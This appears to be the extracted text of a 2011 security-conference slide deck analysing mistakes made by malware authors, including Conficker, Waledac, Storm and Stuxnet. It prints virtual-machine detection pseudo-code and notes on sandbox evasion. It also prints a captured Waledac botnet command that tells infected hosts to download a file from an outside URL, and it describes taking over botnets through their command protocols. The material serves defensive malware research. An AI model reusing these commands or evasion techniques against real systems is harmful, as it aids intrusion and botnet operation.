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malware  noun /'mæl.weə(ɹ)/
(computing) software developed for the purpose of 
causing harm to a computer system,
from mal(icious) + (soft)ware

Source: http://en.wiktionary.org/wiki/malware

5. desember 2011

fail  noun  /feɪl/
an unsuccessful result in a course, test or examination

Example: John got three passes and four fails
in his exams.

Source: http://dictionary.cambridge.org/dictionary/british/fail_6

5. desember 2011

"Fail" is the name of a popular Internet meme where users 
superimpose a caption, often the word "fail" or "epic 
fail", onto photos or short videos depicting unsuccessful 
events or people falling short of expectations.

Source: http://en.wikipedia.org/wiki/Fail
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5. desember 2011

PLAYING CAT AND MOUSE

Arms race
analysis vs. evasion

5. desember 2011

Sandboxing

• Automated observations of malware behavior

5. desember 2011

Problems with Sandboxing

• Too many samples, too little time
• 10,9 seconds per sample in 2009
• Typical sandboxes time out after 2-10 minutes

Symantec

5. desember 2011

Sandbox Evasion

Sophisticated sandboxes perform anti-evasion
• Skip over long sleeps
• (Don’t care about altered behavior)

5. desember 2011

Anti-Anti-Evasion

• Evade anti-evasion techniques
• Trigger unpacker‘s API call heuristic

• Variations to prevent detection

5. desember 2011

Preventing Program Tracing

• Measure how long execution takes
• If code is executed in a debugger, it takes longer due to

single-stepping, tracing, …
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SYKIPOT
FAIL

5. desember 2011

Sykipot

• Not really widespread
• Adobe Flash and Internet Explorer 0days
• Probably a team fuzzing browser software
• Collects information about

infected systems

5. desember 2011

Sykipot

• Looking at the code
• Interesting command line parameters

5. desember 2011

Sykipot

• Patching the code such that it always calls the
remove routine gives us a nice cleanup tool

5. desember 2011

CONFICKER
FAIL again.
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5. desember 2011

Conficker

• 4 different versions
• Each version removes all previous ones
• Nice, Conficker provides with an uninstall routine!

5. desember 2011

Conficker

• Constructing a Conficker cleanup tool from this
code is trivial

5. desember 2011

BEST ANTIVIRUS 2011
Fake AV

5. desember 2011

Best Antivirus 2011

• Best? Fake AV
• Includes multiple detections for virtual 

environments (evade analysis)

5. desember 2011

Best Antivirus 2011

…

http://en.wikipedia.org/wiki/CPUID#EAX.3D1:_Processor_Info_and_Feature_Bits

5. desember 2011

Best Antivirus 2011

• Let’s translate this into source code

GetCpuId(1);

…

if ( ECX = 0x80000000) {
… //vm detected

}

GetCpuId(1);

…

if ( ECX = 0x80000000) {
… //vm detected

}

GetCpuId(1);

…

if ( ECX == 0x80000000) {
… //vm detected

}

GetCpuId(1);

…

if ( ECX == 0x80000000) {
… //vm detected

}
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5. desember 2011

Best Antivirus 2011

• Will always think it is running in a virtual 
environment

5. desember 2011

ZEUS DROPZONE
Another FAIL

5. desember 2011

Zeus Dropzone
5. desember 2011

What’s in there?

MD5 hash

5. desember 2011

Zeus Dropzone

• Password can be „cracked“ using rainbow tables, 
giving us full control over the botnet

5. desember 2011

YALUDLE
More command & control
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5. desember 2011

Yaludle

• Banking trojan
• User-mode root-kit built-in
• Man-in-the-browser
• Everything looks

normal (https)

5. desember 2011

The C&C server

http://software-security.sans.org/blog/2011/06/13/spot-the-vuln-feathers

5. desember 2011

Yaludle – do-whatever-you-want C&C

http://software-security.sans.org/blog/2011/06/13/spot-the-vuln-feathers

5. desember 2011

Yaludle

• Why just escape 2 / 13 of parameters?

5. desember 2011

WALEDAC
Big, big FAIL

5. desember 2011

Waledac Doing It Right

INT 2E

AccessCheck()
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5. desember 2011

Waledac

• Active since 2008 (until Feb. 2010)
• Propagation on malicious web-sites and by Conficker
• Decentralized multi-relay structure

37

5. desember 2011

Becoming a relay

1. Provide full connectivity (HTTP, 
SMTP-out, …) for longer time ~45 
min.

2. Use “-r” cmd-line switch

5. desember 2011

All command layers

application/x-www-form-
urlencoded

Base64

AES-cbc
IV=0
BZip

XML

Certificate:
Data:

Version: 3 (0x2)
Serial Number: 0 (0x0)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=UK, CN=OpenSSL Group
Validity

Not Before: Jan  2 04:24:10 2009 GMT
Not After : Jan  2 04:24:10 2010 GMT

Subject: C=UK, CN=OpenSSL Group
Subject Public Key Info:

Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:d4:5a:7d:1f:bc:20:99:f4:77:6a:0a:04:25:ca:
71:29:59:3d:8d:61:c8:0e:9f:a2:c1:74:d8:6b:5f:
e7:7b:47:13:d2:c1:9e:b0:c6:44:6d:21:9d:31:67:
7e:86:43:c2:b4:fe:42:fb:27:fd:04:95:03:bb:d3:
43:82:ca:6a:47:b7:fd:de:bf:a9:ea:71:ed:5e:69:
3c:0b:53:fa:a4:d4:50:87:ed:5d:02:73:4e:47:a4:
a8:5e:ab:0c:fd:01:3c:5e:15:05:22:c4:63:f6:a6:
24:76:99:27:2a:e7:93:27:ad:b7:fd:1c:0f:e3:85:
f0:d8:c8:39:32:11:c8:41:19

Exponent: 65537 (0x10001)

Signature Algorithm: md5WithRSAEncryption
2e:e3:f8:b4:0d:ee:58:6e:25:51:12:9a:3e:4d:62:6b:c8:e6:
d8:aa:83:19:f7:64:7e:02:45:ff:00:b0:82:3d:42:1a:61:78:
67:0c:44:f9:bb:02:da:bd:6e:e4:45:dd:af:02:4e:70:62:41:
ef:81:67:17:a8:6c:41:92:a5:20:41:ee:e6:5b:38:22:b4:41:
26:de:f0:ec:2d:2c:e5:56:d4:05:22:40:bb:64:3d:ce:a4:c8:
dd:76:b6:23:b8:2b:69:14:af:70:10:d8:7b:03:f6:b8:c2:90:
02:94:14:18:99:4d:cb:6e:8a:7a:71:49:05:b1:b9:2f:dc:0e:
b1:c7

-----BEGIN CERTIFICATE-----
MIIBvjCCASegAwIBAgIBADANBgkqhkiG9w0BAQQFADAlMQswCQYDVQQGEwJVSzEW
MBQGA1UEAxMNT3BlblNTTCBHcm91cDAeFw0wOTAxMDIwNDI0MTBaFw0xMDAxMDIw

NDI0MTBaMCUxCzAJBgNVBAYTAlVLMRYwFAYDVQQDEw1PcGVuU1NMIEdyb3VwMIGf
MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUWn0fvCCZ9HdqCgQlynEpWT2NYcgO

Certificate:
Data:

Version: 3 (0x2)
Serial Number: 0 (0x0)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=UK, CN=OpenSSL Group
Validity

Not Before: Jan  2 04:24:10 2009 GMT
Not After : Jan  2 04:24:10 2010 GMT

Subject: C=UK, CN=OpenSSL Group
Subject Public Key Info:

Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:d4:5a:7d:1f:bc:20:99:f4:77:6a:0a:04:25:ca:
71:29:59:3d:8d:61:c8:0e:9f:a2:c1:74:d8:6b:5f:
e7:7b:47:13:d2:c1:9e:b0:c6:44:6d:21:9d:31:67:
7e:86:43:c2:b4:fe:42:fb:27:fd:04:95:03:bb:d3:
43:82:ca:6a:47:b7:fd:de:bf:a9:ea:71:ed:5e:69:
3c:0b:53:fa:a4:d4:50:87:ed:5d:02:73:4e:47:a4:
a8:5e:ab:0c:fd:01:3c:5e:15:05:22:c4:63:f6:a6:
24:76:99:27:2a:e7:93:27:ad:b7:fd:1c:0f:e3:85:
f0:d8:c8:39:32:11:c8:41:19

Exponent: 65537 (0x10001)

Signature Algorithm: md5WithRSAEncryption
2e:e3:f8:b4:0d:ee:58:6e:25:51:12:9a:3e:4d:62:6b:c8:e6:
d8:aa:83:19:f7:64:7e:02:45:ff:00:b0:82:3d:42:1a:61:78:
67:0c:44:f9:bb:02:da:bd:6e:e4:45:dd:af:02:4e:70:62:41:
ef:81:67:17:a8:6c:41:92:a5:20:41:ee:e6:5b:38:22:b4:41:
26:de:f0:ec:2d:2c:e5:56:d4:05:22:40:bb:64:3d:ce:a4:c8:
dd:76:b6:23:b8:2b:69:14:af:70:10:d8:7b:03:f6:b8:c2:90:
02:94:14:18:99:4d:cb:6e:8a:7a:71:49:05:b1:b9:2f:dc:0e:
b1:c7

-----BEGIN CERTIFICATE-----
MIIBvjCCASegAwIBAgIBADANBgkqhkiG9w0BAQQFADAlMQswCQYDVQQGEwJVSzEW
MBQGA1UEAxMNT3BlblNTTCBHcm91cDAeFw0wOTAxMDIwNDI0MTBaFw0xMDAxMDIw

NDI0MTBaMCUxCzAJBgNVBAYTAlVLMRYwFAYDVQQDEw1PcGVuU1NMIEdyb3VwMIGf
MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUWn0fvCCZ9HdqCgQlynEpWT2NYcgO

5. desember 2011

The AES Keys

• Two hardcoded keys
• Exchange of relay/peer – list
• Client RSA public key to server

• Session keys
• Exchanged with RSA public key
• Session key from server

RSA Incoming data is decrypted to: <9837b5d73b8ae670>
...
RSA Incoming data is decrypted to: <9837b5d73b8ae670>
...
RSA Incoming data is decrypted to: <9837b5d73b8ae670>
...
RSA Incoming data is decrypted to: <9837b5d73b8ae670>
... 40

5. desember 2011 5. desember 2011

Waledac

• Failed crypto because of failing to initialize the 
random number generator
(even with RSA and AES in place)
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Command Protocol

43

Type: 0x2
Length: 337
<lm>
<v>27</v>
<t>notify</t>
<props><p n="ptr">bonn-007.pool.t-online.de</p><p 
n="ip">93.137.206.86</p><p 
n="dns_ip">216.195.100.100</p><p 
n="smtp_ip">209.85.201.114</p><p 
n="http_cache_timeout">3600</p><p 
n="sender_threads">35</p><p 
n="sender_queue">2000</p><pn="short_logs">true</p><p 
n="commands">
<![CDATA[312|download|http://orldlovelife.com/mon.jpg]]>
</p></props><dns_zones></dns_zones><dns_hosts></dns_hosts>
<socks5></socks5><dos></dos><filter></filter></lm>

5. desember 2011

How ugly is that?

5. desember 2011

What’s under his pants?

da 8c 18 35 1a b3 47 5d
a8 1f e4 9a 35 a1 46 d2

XOR 0xed

5. desember 2011

Injecting Commands

46

Spam

5. desember 2011

Waledac is currently not available… 

47

5. desember 2011

Waledac

• The C&C protocol is designed in a way that allows
for complete takeover of the botnet
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5. desember 2011

THE STORM WORM
Well, FAIL.

5. desember 2011

Do you understand the code?

• Storm used the KadC library for P2P
• and added XOR ”encryption”

5. desember 2011

A Custom HTTP User-Agent

• Storm 2008:

• Easily detectable, but they learned their lesson…
• Storm version 2, April 2010

GET / HTTP/1.1
Host: 127.43.2.101
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1921)

GET / HTTP/1.1
Host: 127.43.2.101
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1921)

GET / HTTP/1.1
Host: 127.43.2.101
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1)

GET / HTTP/1.1
Host: 127.43.2.101
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1)

5. desember 2011

Storm

5. desember 2011

CONFICKER AGAIN
You know… FAIL.

5. desember 2011

Infection Examples
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5. desember 2011

Scanning for Victims

next_ip_lower_word = rand()
next_ip_upper_word = rand()

• The rand function returns a pseudorandom
integer in the range 0 to RAND_MAX.
Source: http://msdn.microsoft.com/en-us/library/398ax69y%28VS.71%29.aspx

Source: http://msdn.microsoft.com/en-us/library/2dfe3bzd%28VS.71%29.aspx

• RAND_MAX is defined as the value 0x7fff.

5. desember 2011In result, Conficker scans only

less than one quarter
of the whole IPv4 address range!

5. desember 2011

The GeoLocation Hack

→

• Conficker.A checks a potential victim’s GeoLocation

• If a system is located in the Ukraine, it is not attacked

• A public GeoIP database is downloaded upon startup

• So we crafted a special database that maps all IP addresses 
on the Ukraine   :-)

5. desember 2011

Going Down?

5. desember 2011

STUXNET
Staying prominent…

5. desember 2011

Stuxnet installation

• Some “components” only work  on specific 
Windows versions

5 ≤ Version ≤ 6
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Installer checks version

5 ≤ Version ≤ 6     (5 ≤ Version) AND ( Version ≤ 6)

5. desember 2011

If (5 ≤ Version) OR ( Version ≤ 6) {
install();

}


If (5 ≤ Version){
install();

}

5. desember 2011

Stuxnet installer

• Installs component on all Windows versions
(even though it is not working)

5. desember 2011

LANGUAGE PROBLEMS
Guess what.

5. desember 2011

• Hate message 
from author for 
his friends

Indonesian Autorun Worm
5. desember 2011
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5. desember 2011

THERE’S MORE OUT 
THERE …

5. desember 2011

Poison Ivy – Buffer Overflow

5. desember 2011


